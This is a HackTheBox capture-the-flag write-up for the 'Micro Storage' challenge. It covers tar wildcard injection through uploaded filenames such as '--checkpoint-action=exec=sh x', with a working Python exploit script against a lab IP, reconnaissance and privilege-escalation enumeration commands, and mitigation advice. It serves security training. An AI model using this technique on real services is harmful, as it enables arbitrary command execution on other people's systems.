Micro Storage v1.0

Platform: HackTheBox | Category: Misc | Type: Challenge | Difficulty: Easy-medium | OS: Linux | Author: D3v0o0Nu11 | Date: 2026-02-03 | Status: Solved Techniques: tar_wildcard_injection, checkpoint_action_rce

Summary

A group of people made a network service that lets you store files temporarily. But they made a mistake coding their script. The goal is to leak the contents of /flag.txt.

Recon

Port scan

 bash read-only • copy allowed Copy
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: HackTheBox Labs | ID: 20260203_htb_micro_storage
• Tags: command_injection, linux, gtfobins, file_storage, tar, wildcard_injection
• Indicators: tar cf with wildcard *, filename filter missing -- prefix, checkpoint-action option, shell script via uploaded file
• Source: 20260203_htb_micro_storage.md

Foothold

Vulnerability / Misconfiguration

1. tar_wildcard_injection
2. checkpoint_action_rce

 bash read-only • copy allowed Copy
<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

 bash read-only • copy allowed Copy
sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

 bash read-only • copy allowed Copy
<command>

Flags

Key Takeaways / Lessons

• tar_wildcard_injection
• checkpoint_action_rce
• Tags: command_injection, linux, gtfobins, file_storage, tar, wildcard_injection

Original Writeup

<details><summary>Click to expand original content</summary>

Description

A group of people made a network service that lets you store files temporarily. But they made a mistake coding their script. The goal is to leak the contents of /flag.txt.

Target: 83.136.249.164:31556 (TCP network service)

Reconnaissance

The service ("Micro Storage v1.0") is a TCP-based file storage application with the following menu:

Security Filters

The service blocks certain characters in filenames:

• Blocked: /, ../, $, &, (, {, `, <, |, ;
• Error message: "No no no, you're trying to hack us"
• Max filename length: 32 characters

What's NOT blocked

Filenames starting with -- (double dash) pass all filters. This is the critical oversight.

Analysis

Vulnerability: Tar Wildcard Injection

Option 5 ("Compress and download") internally runs tar with a shell wildcard (*) to archive all uploaded files in the user's storage directory:

 bash read-only • copy allowed Copy
tar cf archive.tar *

When the shell expands *, filenames that look like command-line arguments (starting with --) are interpreted by tar as options, not as filenames. This is a well-known technique documented on GTFOBins.

Key tar options for exploitation

By uploading files whose names are these tar options, we can achieve arbitrary command execution when the service runs tar cf archive.tar *.

Filename length constraint

The --checkpoint-action=exec=CMD filename must fit within 32 characters. Solution: use a single-character script filename (x) so the full option --checkpoint-action=exec=sh x is only 29 characters.

Solution

Step 1: Upload a shell script as a file

Upload a file named x with content cat /flag.txt. This serves as the payload script.

Step 2: Upload the checkpoint trigger

Upload a file named --checkpoint=1. After wildcard expansion, tar interprets this as the --checkpoint=1 option.

Step 3: Upload the checkpoint action

Upload a file named --checkpoint-action=exec=sh x (29 chars, fits within 32-char limit). This tells tar to execute sh x at each checkpoint.

Step 4: Trigger compression

Select option 5. The service runs:

 bash read-only • copy allowed Copy
tar cf archive.tar *

After wildcard expansion, this becomes:

 bash read-only • copy allowed Copy
tar cf archive.tar --checkpoint=1 --checkpoint-action=exec=sh\ x x

Tar executes sh x → cat /flag.txt, and the flag appears in the output before the base64-encoded archive.

Exploit Script

 python read-only • copy allowed Copy
#!/usr/bin/env python3
"""
Micro Storage v1.0 — Tar Wildcard Injection Exploit
HackTheBox Labs
"""
import socket
import select
import time

def recv_available(s, timeout=1.5):
    """Receive all available data from socket with timeout."""
    data = b''
    while True:
        ready = select.select([s], [], [], timeout)
        if ready[0]:
            chunk = s.recv(4096)
            if not chunk:
                break
            data += chunk
            timeout = 0.3
        else:
            break
    return data.decode(errors='replace')

def upload_file(s, filename, content):
    """Upload a file to the service."""
    s.sendall(b'1\n')
    time.sleep(0.3); recv_available(s)
    s.sendall(filename.encode() + b'\n')
    time.sleep(0.3); recv_available(s)
    s.sendall(content.encode() + b'\nEOF\n')
    time.sleep(0.5); recv_available(s, 2)

# Connect
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('83.136.249.164', 31556))
time.sleep(1)
banner = recv_available(s, 2)
print(f"[*] Connected:\n{banner[:200]}")

# Step 1: Upload script file
print("[+] Uploading payload script 'x'...")
upload_file(s, 'x', 'cat /flag.txt')

# Step 2: Upload checkpoint trigger
print("[+] Uploading '--checkpoint=1'...")
upload_file(s, '--checkpoint=1', 'a')

# Step 3: Upload checkpoint action
print("[+] Uploading '--checkpoint-action=exec=sh x'...")
upload_file(s, '--checkpoint-action=exec=sh x', 'a')

# Step 4: Trigger tar wildcard injection
print("[+] Triggering compress (option 5)...")
s.sendall(b'5\n')
time.sleep(5)
result = recv_available(s, 5)
print(f"[*] Output:\n{result[:500]}")

s.close()

Attack Flow Diagram

┌─────────────────────────────────────────────────────┐
│                  Uploaded Files                      │
│                                                      │
│  x                          → contains "cat /flag.txt"│
│  --checkpoint=1             → tar interprets as option│
│  --checkpoint-action=exec=sh x → tar option: run sh x│
└──────────────────────┬──────────────────────────────┘
                       │
                       ▼  Option 5: Compress
              ┌─────────────────┐
              │ tar cf arch * │
              └────────┬────────┘
                       │ shell wildcard expansion
                       ▼
    tar cf arch --checkpoint=1 --checkpoint-action=exec=sh\ x x
                       │
                       ▼  checkpoint triggers
                  sh x → cat /flag.txt
                       │
                       ▼
              HTB{REDACTED...}

Defense

To prevent this attack:

1. Don't use wildcard * with tar — enumerate files explicitly
2. Use -- before the file list: tar cf archive.tar -- * (separates options from arguments)
3. Filter -- in filenames — block filenames starting with a dash
4. Use ./ prefix: tar cf archive.tar ./* (all names start with ./, not interpreted as options)

References

• GTFOBins — tar
• Tar Wildcard Injection (Exploit-DB Paper)
• HackTricks — Tar Wildcard Tricks

</details>

---

signed by XESXOR